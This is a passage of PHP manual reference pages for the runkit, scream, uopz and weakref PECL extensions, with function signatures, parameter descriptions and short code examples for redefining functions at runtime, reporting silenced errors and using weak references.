newname

The new name to give to the renamed method

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 runkit_method_rename() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// Rename the 'foo' method to 'bar'
runkit_method_rename(
    'Example',
    'foo',
    'bar'
);

// output renamed function
echo Example::bar();
?>

The above example will output:

foo!

See Also

  • runkit_method_add() - Dynamically adds a new method to a given class
  • runkit_method_copy() - Copies a method from class to another
  • runkit_method_redefine() - Dynamically changes the code of the given method
  • runkit_method_remove() - Dynamically removes the given method
  • runkit_function_rename() - Change a function's name

User Contributed Notes

There are no user contributed notes for this page.


Determines if the current functions return value will be used

  • « runkit_method_rename
  • runkit_sandbox_output_handler »
  • PHP Manual
  • runkit Functions
  • Determines if the current functions return value will be used

runkit_return_value_used

(PECL runkit >= 0.8.0)

runkit_return_value_used — Determines if the current functions return value will be used

Description

bool runkit_return_value_used ( void )

Return Values

Returns TRUE if the function's return value is used by the calling scope, otherwise FALSE

Examples

Example #1 runkit_return_value_used() example

<?php
function foo() {
  var_dump(runkit_return_value_used());
}

foo();
$f = foo();
?>

The above example will output:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Specify a function to capture and/or process output from a runkit sandbox

  • « runkit_return_value_used
  • runkit_superglobals »
  • PHP Manual
  • runkit Functions
  • Specify a function to capture and/or process output from a runkit sandbox

runkit_sandbox_output_handler

(PECL runkit >= 0.7.0)

runkit_sandbox_output_handler — Specify a function to capture and/or process output from a runkit sandbox

Description

mixed runkit_sandbox_output_handler ( object $sandbox [, mixed $callback ] )

Ordinarily, anything output (such as with echo or print) will be output as though it were printed from the parent's scope. Using runkit_sandbox_output_handler() however, output generated by the sandbox (including errors), can be captured by a function outside of the sandbox.

Note: Sandbox support (required for runkit_lint(), runkit_lint_file(), and the Runkit_Sandbox class) is only available as of PHP 5.1.0 or specially patched versions of PHP 5.0, and requires that thread safety be enabled. See the README file included in the runkit package for more information.

Note: Deprecated

As of runkit version 0.5, this function is deprecated and is scheduled to be removed from the package prior to a 1.0 release. The output handler for a given Runkit_Sandbox instance may be read/set using the array offset syntax shown on the Runkit_Sandbox class definition page.

Parameters

sandbox

Object instance of Runkit_Sandbox class on which to set output handling.

callback

Name of a function which expects one parameter. Output generated by sandbox will be passed to this callback. Anything returned by the callback will be displayed normally. If this parameter is not passed then output handling will not be changed. If a non-truth value is passed, output handling will be disabled and will revert to direct display.

Return Values

Returns the name of the previously defined output handler callback, or FALSE if no handler was previously defined.

Examples

Example #1 Feeding output to a variable

<?php
function capture_output($str) {
  $GLOBALS['sandbox_output'] .= $str;

  return '';
}

$sandbox_output = '';

$php = new Runkit_Sandbox();
runkit_sandbox_output_handler($php, 'capture_output');
$php->echo("Hello\n");
$php->eval('var_dump("Excuse me");');
$php->die("I lost myself.");
unset($php);

echo "Sandbox Complete\n\n";
echo $sandbox_output;
?>

The above example will output:

Sandbox Complete

Hello
string(9) "Excuse me"
I lost myself.

User Contributed Notes

There are no user contributed notes for this page.


Return numerically indexed array of registered superglobals

  • « runkit_sandbox_output_handler
  • scream »
  • PHP Manual
  • runkit Functions
  • Return numerically indexed array of registered superglobals

runkit_superglobals

(PECL runkit >= 0.7.0)

runkit_superglobals — Return numerically indexed array of registered superglobals

Description

array runkit_superglobals ( void )

Return Values

Returns a numerically indexed array of the currently registered superglobals. i.e. _GET, _POST, _REQUEST, _COOKIE, _SESSION, _SERVER, _ENV, _FILES

See Also

  • Variable Scope

User Contributed Notes

There are no user contributed notes for this page.


Break the silence operator

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Examples
    • Example that shows the effect of scream

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The scream extension gives the possibility to disable the silencing error control operator so all errors are being reported. This feature is controlled by an ini setting.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/scream

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

scream Configure Options
Name | Default | Changeable | Changelog
scream.enabled | Off | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

scream.enabled int

Whether or not to enable scream.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Example that shows the effect of scream

User Contributed Notes

There are no user contributed notes for this page.


Example that shows the effect of scream

This example demonstrates how scream affects the behaviour of PHP's error handler.

Example #1 Enabling and disabling scream at runtime

<?php
// Make sure errors will be shown
ini_set('display_errors', true);
error_reporting(E_ALL);

// Disable scream - this is the default and produce an error
ini_set('scream.enabled', false);
echo "Opening http://example.com/not-existing-file\n";
@fopen('http://example.com/not-existing-file', 'r');

// Now enable scream and try again
ini_set('scream.enabled', true);
echo "Opening http://example.com/not-existing-file\n";
@fopen('http://example.com/another-not-existing-file', 'r');
?>

The above example will output something similar to:

Opening http://example.com/not-existing-file
Opening http://example.com/not-existing-file

Warning: fopen(http://example.com/another-not-existing-file): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in example.php on line 14

Note: Usually one would set this in the php.ini configuration file instead of changing the code.

User Contributed Notes

There are no user contributed notes for this page.


uopz

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Uopz Functions
    • uopz_backup — Backup a function
    • uopz_compose — Compose a class
    • uopz_copy — Copy a function
    • uopz_delete — Delete a function
    • uopz_extend — Extend a class at runtime
    • uopz_flags — Get or set flags on function or class
    • uopz_function — Creates a function at runtime
    • uopz_implement — Implements an interface at runtime
    • uopz_overload — Overload a VM opcode
    • uopz_redefine — Redefine a constant
    • uopz_rename — Rename a function at runtime
    • uopz_restore — Restore a previously backed up function
    • uopz_undefine — Undefine a constant

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The uopz - User Operations for Zend - extension exposes Zend Engine functionality normally used at compilation and execution time in order to allow modification of the internal structures that represent PHP code, and for user code to interact with the VM.

uopz supports the following activities:

  • Overloading some opcodes including ZEND_EXIT and ZEND_NEW
  • Backup and restore functions and methods
  • Renaming functions and methods
  • Copying of functions and methods
  • Deletion of functions and methods
  • Redefinition of global and class constants
  • Deletion of global and class constants
  • Runtime composition and modification of classes

Note:

All of the activities supported are compatible with opcache

User Contributed Notes

There are no user contributed notes for this page.


  • « Installing/Configuring
  • Installation »
  • PHP Manual
  • Installing/Configuring
  • Requirements

Requirements

uopz requires 5.4+

User Contributed Notes

There are no user contributed notes for this page.


Installation

uopz releases are hosted by PECL and the source code by » github, the easiest route to installation is the normal PECL route: » http://pecl.php.net/package/uopz.

Windows users can download prebuilt release binaries from the » PECL website.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

uopz must be loaded as a zend_extension

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following opcodes are defined as constants by uopz:

ZEND_EXIT (integer)
Invoked by exit() and die(), recieves no arguments. Return boolean TRUE to exit, FALSE to continue
ZEND_NEW (integer)
Invoked by object construction, receives the class of object being created as the only argument
ZEND_THROW (integer)
Invoked by the throw construct, receives the class of exception being thrown as the only argument
ZEND_FETCH_CLASS (integer)
Invoked upon composure, recieves the class the name of the class being fetched as the only argument
ZEND_ADD_TRAIT (integer)
Invoked upon composure, recieves the class the trait is being added to as the first argument, and the name of the trait as the second argument
ZEND_ADD_INTERFACE (integer)
Invoked upon composure, recieves the class the interface is being added to as the first argument, and the name of the interface as the second argument
ZEND_INSTANCEOF (integer)
Invoked by instanceof operator, recieves the object being verified as the first argument, and the name of the class which that object should be as the second argument

The following constants control the VM's behaviour after a user handler is invoked, be extremely careful!

ZEND_USER_OPCODE_CONTINUE (integer)
Advance 1 opcode and continuue
ZEND_USER_OPCODE_ENTER (integer)
Enter into new op_array without recursion
ZEND_USER_OPCODE_LEAVE (integer)
Return to calling op_array within the same executor
ZEND_USER_OPCODE_DISPATCH (integer)
Dispatch to original opcode handler
ZEND_USER_OPCODE_DISPATCH_TO (integer)
Dispatch to a specific handler (OR'd with ZEND opcode constant)
ZEND_USER_OPCODE_RETURN (integer)
Exit from executor (return from function)

The following modifiers are registered as constants by uopz

ZEND_ACC_PUBLIC (integer)
Mark function as public, the default
ZEND_ACC_PROTECTED (integer)
Mark function as protected
ZEND_ACC_PRIVATE (integer)
Mark function as private
ZEND_ACC_STATIC (integer)
Mark function as static
ZEND_ACC_FINAL (integer)
Mark function as final
ZEND_ACC_ABSTRACT (integer)
Mark function as abstract
ZEND_ACC_CLASS (integer)
Dummy registered for consistency, the default kind of class entry
ZEND_ACC_INTERFACE (integer)
Mark class as interface
ZEND_ACC_TRAIT (integer)
Mark class as trait
ZEND_ACC_FETCH (integer)
Used for getting flags only

User Contributed Notes

There are no user contributed notes for this page.


Uopz Functions

Table of Contents

  • uopz_backup — Backup a function
  • uopz_compose — Compose a class
  • uopz_copy — Copy a function
  • uopz_delete — Delete a function
  • uopz_extend — Extend a class at runtime
  • uopz_flags — Get or set flags on function or class
  • uopz_function — Creates a function at runtime
  • uopz_implement — Implements an interface at runtime
  • uopz_overload — Overload a VM opcode
  • uopz_redefine — Redefine a constant
  • uopz_rename — Rename a function at runtime
  • uopz_restore — Restore a previously backed up function
  • uopz_undefine — Undefine a constant

User Contributed Notes

There are no user contributed notes for this page.


Backup a function

  • « Uopz Functions
  • uopz_compose »
  • PHP Manual
  • Uopz Functions
  • Backup a function

uopz_backup

(PECL uopz >= 1.0.3)

uopz_backup — Backup a function

Description

void uopz_backup ( string $class , string $function )
void uopz_backup ( string $function )

Backup a function at runtime, to be restored on shutdown

Parameters

class

The name of the class containing the function to backup

function

The name of the function

Return Values

Examples

Example #1 uopz_backup() example

<?php
uopz_backup("fgets");
uopz_function("fgets", function(){
    return true;
});
var_dump(fgets());
?>

The above example will output something similar to:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Compose a class

  • « uopz_backup
  • uopz_copy »
  • PHP Manual
  • Uopz Functions
  • Compose a class

uopz_compose

(PECL uopz >= 1.0.0)

uopz_compose — Compose a class

Description

void uopz_compose ( string $name , array $classes [, array $methods [, array $properties [, int $flags ]]] )

Creates a new class of the given name that implements, extends, or uses all of the provided classes

Parameters

name

A legal class name

classes

An array of class, interface and trait names

methods

An associative array of methods, values are either closures or [modifiers => closure]

properties

An associative array of properties, keys are names, values are modifiers

flags

Entry type, by default ZEND_ACC_CLASS

Return Values

Examples

Example #1 uopz_compose() example

<?php
class myClass {}
trait myTrait {}
interface myInterface {}

uopz_compose(
    Composed::class, [
        myClass::class,
        myTrait::class,
        myInterface::class
    ], [
    "__construct" => function() {
        /* ... */
    }
]);

var_dump(
 class_uses(Composed::class),
 class_parents(Composed::class),
 class_implements(Composed::class));
?>

The above example will output something similar to:

array(1) {
  ["myTrait"]=>
  string(7) "myTrait"
}
array(1) {
  ["myClass"]=>
  string(7) "myClass"
}
array(1) {
  ["myInterface"]=>
  string(11) "myInterface"
}

User Contributed Notes

There are no user contributed notes for this page.


Copy a function

  • « uopz_compose
  • uopz_delete »
  • PHP Manual
  • Uopz Functions
  • Copy a function

uopz_copy

(PECL uopz >= 1.0.4)

uopz_copy — Copy a function

Description

Closure uopz_copy ( string $class , string $function )
Closure uopz_copy ( string $function )

Copy a function by name

Parameters

class

The name of the class containing the function to copy

function

The name of the function

Return Values

A Closure for the specified function

Examples

Example #1 uopz_copy() example

<?php
$strtotime = uopz_copy('strtotime');

uopz_function("strtotime", function($arg1, $arg2) use($strtotime) {
    /* can call original strtotime from here */
    var_dump($arg1);
});

var_dump(strtotime('dummy'));
?>

The above example will output something similar to:

string(5) "dummy"

User Contributed Notes

There are no user contributed notes for this page.


Delete a function

  • « uopz_copy
  • uopz_extend »
  • PHP Manual
  • Uopz Functions
  • Delete a function

uopz_delete

(PECL uopz >= 1.0.0)

uopz_delete — Delete a function

Description

void uopz_delete ( string $class , string $function )
void uopz_delete ( string $function )

Deletes a function or method

Parameters

class

function

Return Values

Examples

Example #1 uopz_delete() example

<?php
uopz_delete("strlen");

echo strlen("Hello World");
?>

The above example will output something similar to:

PHP Fatal error: Call to undefined function strlen() in /path/to/script.php on line 4

Example #2 uopz_delete() class example

<?php
class My {
    public static function strlen($arg) {
        return strlen($arg);
    }
}

uopz_delete(My::class, "strlen");

echo My::strlen("Hello World");
?>

The above example will output something similar to:

PHP Fatal error: Call to undefined method My::strlen() in /path/to/script.php on line 10

User Contributed Notes

There are no user contributed notes for this page.


Extend a class at runtime

  • « uopz_delete
  • uopz_flags »
  • PHP Manual
  • Uopz Functions
  • Extend a class at runtime

uopz_extend

(PECL uopz >= 1.0.0)

uopz_extend — Extend a class at runtime

Description

void uopz_extend ( string $class , string $parent )

Makes class extend parent

Parameters

class

The name of the class to extend

parent

The name of the class to inherit

Return Values

Examples

Example #1 uopz_extend() example

<?php
class A {}
class B {}

uopz_extend(A::class, B::class);

var_dump(class_parents(A::class));
?>

The above example will output something similar to:

array(1) {
  ["B"]=>
  string(1) "B"
}

User Contributed Notes

There are no user contributed notes for this page.


Get or set flags on function or class

  • « uopz_extend
  • uopz_function »
  • PHP Manual
  • Uopz Functions
  • Get or set flags on function or class

uopz_flags

(PECL uopz >= 2.0.2)

uopz_flags — Get or set flags on function or class

Description

int uopz_flags ( string $class , string $function , int $flags )
int uopz_flags ( string $function , int $flags )

Get or set the flags on a class or function entry at runtime

Parameters

class

The name of a class

function

The name of the function

flags

A valid set of ZEND_ACC_ flags, ZEND_ACC_FETCH to read flags

Return Values

If setting, returns old flags, else returns flags

Examples

Example #1 uopz_flags() example

<?php
class Test {
    public function method() {
        return __CLASS__;
    }
}

$flags = uopz_flags("Test", "method", ZEND_ACC_FETCH);

var_dump((bool) (uopz_flags("Test", "method", ZEND_ACC_FETCH) & ZEND_ACC_PRIVATE));
var_dump((bool) (uopz_flags("Test", "method", ZEND_ACC_FETCH) & ZEND_ACC_STATIC));

var_dump(uopz_flags("Test", "method", $flags|ZEND_ACC_STATIC|ZEND_ACC_PRIVATE));

var_dump((bool) (uopz_flags("Test", "method", ZEND_ACC_FETCH) & ZEND_ACC_PRIVATE));
var_dump((bool) (uopz_flags("Test", "method", ZEND_ACC_FETCH) & ZEND_ACC_STATIC));
?>

The above example will output something similar to:

bool(false)
bool(false)
int(1234567890)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Creates a function at runtime

  • « uopz_flags
  • uopz_implement »
  • PHP Manual
  • Uopz Functions
  • Creates a function at runtime

uopz_function

(PECL uopz >= 1.0.0)

uopz_function — Creates a function at runtime

Description

void uopz_function ( string $class , string $function , Closure $handler [, int $modifiers ] )
void uopz_function ( string $function , Closure $handler [, int $modifiers ] )

Creates a function at runtime

Parameters

class

The name of the class to receive the new function

function

The name of the function

handler

The Closure for the function

modifiers

The modifiers for the function, by default copied or ZEND_ACC_PUBLIC

Return Values

Examples

Example #1 uopz_function() example

<?php
uopz_function("my_strlen", function($arg) {
    return strlen($arg);
});
echo my_strlen("Hello World");
?>

The above example will output something similar to:

11

Example #2 uopz_function() class example

<?php
class My {}

uopz_function(My::class, "strlen", function($arg) {
    return strlen($arg);
}, ZEND_ACC_STATIC);

echo My::strlen("Hello World");
?>

The above example will output something similar to:

11

User Contributed Notes

There are no user contributed notes for this page.


Implements an interface at runtime

  • « uopz_function
  • uopz_overload »
  • PHP Manual
  • Uopz Functions
  • Implements an interface at runtime

uopz_implement

(PECL uopz >= 1.0.0)

uopz_implement — Implements an interface at runtime

Description

void uopz_implement ( string $class , string $interface )

Makes class implement interface

Parameters

class

interface

Return Values

Examples

Example #1 uopz_implement() example

<?php
interface myInterface {}

class myClass {}

uopz_implement(myClass::class, myInterface::class);

var_dump(class_implements(myClass::class));
?>

The above example will output something similar to:

array(1) {
  ["myInterface"]=>
  string(11) "myInterface"
}

User Contributed Notes

There are no user contributed notes for this page.


Overload a VM opcode

  • « uopz_implement
  • uopz_redefine »
  • PHP Manual
  • Uopz Functions
  • Overload a VM opcode

uopz_overload

(PECL uopz >= 1.0.0)

uopz_overload — Overload a VM opcode

Description

void uopz_overload ( int $opcode , Callable $callable )

Overloads the specified opcode with the user defined function

Parameters

opcode

A valid opcode, see constants for details of supported codes

callable

Return Values

Examples

Example #1 uopz_overload() example

<?php
uopz_overload(ZEND_EXIT, function(){});

exit();
echo "Hello World";
?>

The above example will output something similar to:

Hello World

User Contributed Notes

There are no user contributed notes for this page.


Redefine a constant

  • « uopz_overload
  • uopz_rename »
  • PHP Manual
  • Uopz Functions
  • Redefine a constant

uopz_redefine

(PECL uopz >= 1.0.0)

uopz_redefine — Redefine a constant

Description

void uopz_redefine ( string $class , string $constant , mixed $value )
void uopz_redefine ( string $constant , mixed $value )

Redefines the given constant as value

Parameters

class

The name of the class containing the constant

constant

The name of the constant

value

The new value for the constant, must be a valid type for a constant variable

Return Values

Examples

Example #1 uopz_redefine() example

<?php
define("MY", 100);

uopz_redefine("MY", 1000);

echo MY;
?>

The above example will output something similar to:

1000

User Contributed Notes

There are no user contributed notes for this page.


Rename a function at runtime

  • « uopz_redefine
  • uopz_restore »
  • PHP Manual
  • Uopz Functions
  • Rename a function at runtime

uopz_rename

(PECL uopz >= 1.0.0)

uopz_rename — Rename a function at runtime

Description

void uopz_rename ( string $class , string $function , string $rename )
void uopz_rename ( string $function , string $rename )

Renames function to rename

Note:

If both functions exist, this effectively swaps their names

Parameters

class

The name of the class containing the function

function

The name of an existing function

rename

The new name for the function

Return Values

Examples

Example #1 uopz_rename() example

<?php
uopz_rename("strlen", "original_strlen");

echo original_strlen("Hello World");
?>

The above example will output something similar to:

11

Example #2 uopz_rename() class example

<?php
class My {
    public function strlen($arg) {
        return strlen($arg);
    }
}

uopz_rename(My::class, "strlen", "original_strlen");

echo My::original_strlen("Hello World");
?>

The above example will output something similar to:

11

User Contributed Notes

There are no user contributed notes for this page.


Restore a previously backed up function

  • « uopz_rename
  • uopz_undefine »
  • PHP Manual
  • Uopz Functions
  • Restore a previously backed up function

uopz_restore

(PECL uopz >= 1.0.3)

uopz_restore — Restore a previously backed up function

Description

void uopz_restore ( string $class , string $function )
void uopz_restore ( string $function )

Restore a previously backed up function

Parameters

class

The name of the class containing the function to restore

function

The name of the function

Return Values

Examples

Example #1 uopz_restore() example

<?php
uopz_backup("fgets");
uopz_function("fgets", function(){
    return true;
});
var_dump(fgets());
uopz_restore('fgets');
fgets();
?>

The above example will output something similar to:

Warning: fgets() expects at least 1 parameter, 0 given in /path/to/script.php on line 8

User Contributed Notes

There are no user contributed notes for this page.


Undefine a constant

  • « uopz_restore
  • Weakref »
  • PHP Manual
  • Uopz Functions
  • Undefine a constant

uopz_undefine

(PECL uopz >= 1.0.0)

uopz_undefine — Undefine a constant

Description

void uopz_undefine ( string $class , string $constant )
void uopz_undefine ( string $constant )

Removes the constant at runtime

Parameters

class

The name of the class containing constant

constant

The name of an existing constant

Return Values

Examples

Example #1 uopz_undefine() example

<?php
define("MY", true);

uopz_undefine("MY");

var_dump(defined("MY"));
?>

The above example will output something similar to:

bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Weak References

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Resource Types
  • WeakRef — The WeakRef class
    • Weakref::acquire — Acquires a strong reference on that object
    • Weakref::__construct — Constructs a new weak reference
    • Weakref::get — Returns the object pointed to by the weak reference
    • Weakref::release — Releases a previously acquired reference
    • Weakref::valid — Checks whether the object referenced still exists
  • WeakMap — The WeakMap class
    • WeakMap::__construct — Constructs a new map
    • WeakMap::count — Counts the number of live entries in the map
    • WeakMap::current — Returns the current value under iteration
    • WeakMap::key — Returns the current key under iteration.
    • WeakMap::next — Advances to the next map element
    • WeakMap::offsetExists — Checks whether a certain object is in the map
    • WeakMap::offsetGet — Returns the value pointed to by a certain object
    • WeakMap::offsetSet — Updates the map with a new key-value pair
    • WeakMap::offsetUnset — Removes an entry from the map
    • WeakMap::rewind — Rewinds the iterator to the beginning of the map
    • WeakMap::valid — Returns whether the iterator is still on a valid map element

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Weak references provide a non-intrusive gateway to ephemeral objects. Unlike normal (strong) references, weak references do not prevent the garbage collector from freeing that object. For this reason, an object may be destroyed even though a weak reference to that object still exists. In such conditions, the weak reference seamlessly becomes invalid.

Example #1 Weakref usage example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}

unset($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}
?>

The above example will output:

Object still exists!
object(MyClass)#1 (0) {
}
Destroying object!
Object is dead!

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/weakref.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


The WeakRef class

(PECL weakref >= 0.1.0)

Introduction

The WeakRef class provides a gateway to objects without preventing the garbage collector from freeing those objects. It also provides a way to turn a weak reference into a strong one.

Class synopsis

WeakRef {
/* Methods */
public Weakref::__construct ([ object $object ] )
public bool Weakref::acquire ( void )
public object Weakref::get ( void )
public bool Weakref::release ( void )
public bool Weakref::valid ( void )
}

Examples

Example #1 WeakRef usage example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new WeakRef($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}

unset($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}
?>

The above example will output:

Object still exists!
object(MyClass)#1 (0) {
}
Destroying object!
Object is dead!

Table of Contents

  • Weakref::acquire — Acquires a strong reference on that object
  • Weakref::__construct — Constructs a new weak reference
  • Weakref::get — Returns the object pointed to by the weak reference
  • Weakref::release — Releases a previously acquired reference
  • Weakref::valid — Checks whether the object referenced still exists

User Contributed Notes

There are no user contributed notes for this page.


Acquires a strong reference on that object

  • « WeakRef
  • Weakref::__construct »
  • PHP Manual
  • WeakRef
  • Acquires a strong reference on that object

Weakref::acquire

(PECL weakref >= 0.1.0)

Weakref::acquire — Acquires a strong reference on that object

Description

public bool Weakref::acquire ( void )

Acquires a strong reference on that object, virtually turning the weak reference into a strong one.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the reference was valid and could be turned into a strong reference, FALSE otherwise.

Examples

Example #1 Weakref::acquire() example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

$r1->acquire();

echo "Unsetting o1...\n";
unset($o1);

$o2 = $r1->get();

$r1->release();

echo "Unsetting o2...\n";
unset($o2);
?>

The above example will output:

Unsetting o1...
Unsetting o2...
Destroying object!

Example #2 Nested acquire/release example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

echo "Acquiring...\n";
$r1->acquire();

echo "  Unsetting...\n";
unset($o1);

echo "  Acquiring...\n";
$r1->acquire();

echo "    Acquiring...\n";
$r1->acquire();

echo "    Releasing...\n";
$r1->release();

echo "  Releasing...\n";
$r1->release();

echo "Releasing...\n";
$r1->release();

?>

The above example will output:

Acquiring...
  Unsetting...
  Acquiring...
    Acquiring...
    Releasing...
  Releasing...
Releasing...
Destroying object!

See Also

  • Weakref::release() - Releases a previously acquired reference

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new weak reference

  • « Weakref::acquire
  • Weakref::get »
  • PHP Manual
  • WeakRef
  • Constructs a new weak reference

Weakref::__construct

(PECL weakref >= 0.1.0)

Weakref::__construct — Constructs a new weak reference

Description

public Weakref::__construct ([ object $object ] )

Constructs a new weak reference.

Parameters

object

The object to reference.

Return Values

No value is returned.

Examples

Example #1 Weakref::__construct() example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}

unset($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}
?>

The above example will output:

Object still exists!
object(MyClass)#1 (0) {
}
Destroying object!
Object is dead!

User Contributed Notes

There are no user contributed notes for this page.


Returns the object pointed to by the weak reference

  • « Weakref::__construct
  • Weakref::release »
  • PHP Manual
  • WeakRef
  • Returns the object pointed to by the weak reference

Weakref::get

(PECL weakref >= 0.1.0)

Weakref::get — Returns the object pointed to by the weak reference

Description

public object Weakref::get ( void )

Returns the object pointed to by the weak reference.

Parameters

This function has no parameters.

Return Values

Returns the object if the reference is still valid, NULL otherwise.

See Also

  • Weakref::valid() - Checks whether the object referenced still exists

User Contributed Notes

There are no user contributed notes for this page.


Releases a previously acquired reference

  • « Weakref::get
  • Weakref::valid »
  • PHP Manual
  • WeakRef
  • Releases a previously acquired reference

Weakref::release

(PECL weakref >= 0.1.0)

Weakref::release — Releases a previously acquired reference

Description

public bool Weakref::release ( void )

Releases a previously acquired reference. Potentially turning a strong reference back into a weak reference.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the reference was previously acquired and thus could be released, FALSE otherwise.

Examples

Example #1 Weakref::release() example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

$r1->acquire();

echo "Unsetting o1...\n";
unset($o1);

$o2 = $r1->get();

$r1->release();

echo "Unsetting o2...\n";
unset($o2);
?>

The above example will output:

Unsetting o1...
Unsetting o2...
Destroying object!

See Also

  • Weakref::acquire() - Acquires a strong reference on that object

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the object referenced still exists

  • « Weakref::release
  • WeakMap »
  • PHP Manual
  • WeakRef
  • Checks whether the object referenced still exists

Weakref::valid

(PECL weakref >= 0.1.0)

Weakref::valid — Checks whether the object referenced still exists

Description

public bool Weakref::valid ( void )

Checks whether the object referenced still exists.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the object still exists and is thus still accessible via Weakref::get(), FALSE otherwise.

See Also

  • Weakref::get() - Returns the object pointed to by the weak reference

User Contributed Notes

There are no user contributed notes for this page.


The WeakMap class

(PECL weakref >= 0.2.0)

Introduction

Class synopsis

WeakMap implements Countable , ArrayAccess , Iterator {
/* Methods */
public __construct ( void )
public int count ( void )
public mixed current ( void )
public object key ( void )
public void next ( void )
public bool offsetExists ( object $object )
public mixed offsetGet ( object $object )
public void offsetSet ( object $object , mixed $value )
public void offsetUnset ( object $object )
public void rewind ( void )
public bool valid ( void )
}

Examples

Example #1 Weakmap usage example

<?php
$wm = new WeakMap();

$o = new StdClass;

class A {
    public function __destruct() {
        echo "Dead!\n";
    }
}

$wm[$o] = new A;

var_dump(count($wm));
echo "Unsetting..\n";
unset($o);
echo "Done\n";
var_dump(count($wm));

The above example will output:

int(1)
Unsetting..
Dead!
Done
int(0)

Table of Contents

  • WeakMap::__construct — Constructs a new map
  • WeakMap::count — Counts the number of live entries in the map
  • WeakMap::current — Returns the current value under iteration
  • WeakMap::key — Returns the current key under iteration.
  • WeakMap::next — Advances to the next map element
  • WeakMap::offsetExists — Checks whether a certain object is in the map
  • WeakMap::offsetGet — Returns the value pointed to by a certain object
  • WeakMap::offsetSet — Updates the map with a new key-value pair
  • WeakMap::offsetUnset — Removes an entry from the map
  • WeakMap::rewind — Rewinds the iterator to the beginning of the map
  • WeakMap::valid — Returns whether the iterator is still on a valid map element

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new map

  • « WeakMap
  • WeakMap::count »
  • PHP Manual
  • WeakMap
  • Constructs a new map

WeakMap::__construct

(PECL weakref >= 0.2.0)

WeakMap::__construct — Constructs a new map

Description

public WeakMap::__construct ( void )

Constructs a new map.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Counts the number of live entries in the map

  • « WeakMap::__construct
  • WeakMap::current »
  • PHP Manual
  • WeakMap
  • Counts the number of live entries in the map

WeakMap::count

(PECL weakref >= 0.2.0)

WeakMap::count — Counts the number of live entries in the map

Description

public int WeakMap::count ( void )

Counts the number of live entries in the map.

Parameters

This function has no parameters.

Return Values

Returns the number of live entries in the map.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current value under iteration

  • « WeakMap::count
  • WeakMap::key »
  • PHP Manual
  • WeakMap
  • Returns the current value under iteration

WeakMap::current

(PECL weakref >= 0.2.0)

WeakMap::current — Returns the current value under iteration

Description

public mixed WeakMap::current ( void )

Returns the current value being iterated on in the map.

Parameters

This function has no parameters.

Return Values

The value currently being iterated on.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current key under iteration.

  • « WeakMap::current
  • WeakMap::next »
  • PHP Manual
  • WeakMap
  • Returns the current key under iteration.

WeakMap::key

(PECL weakref >= 0.2.0)

WeakMap::key — Returns the current key under iteration.

Description

public object WeakMap::key ( void )

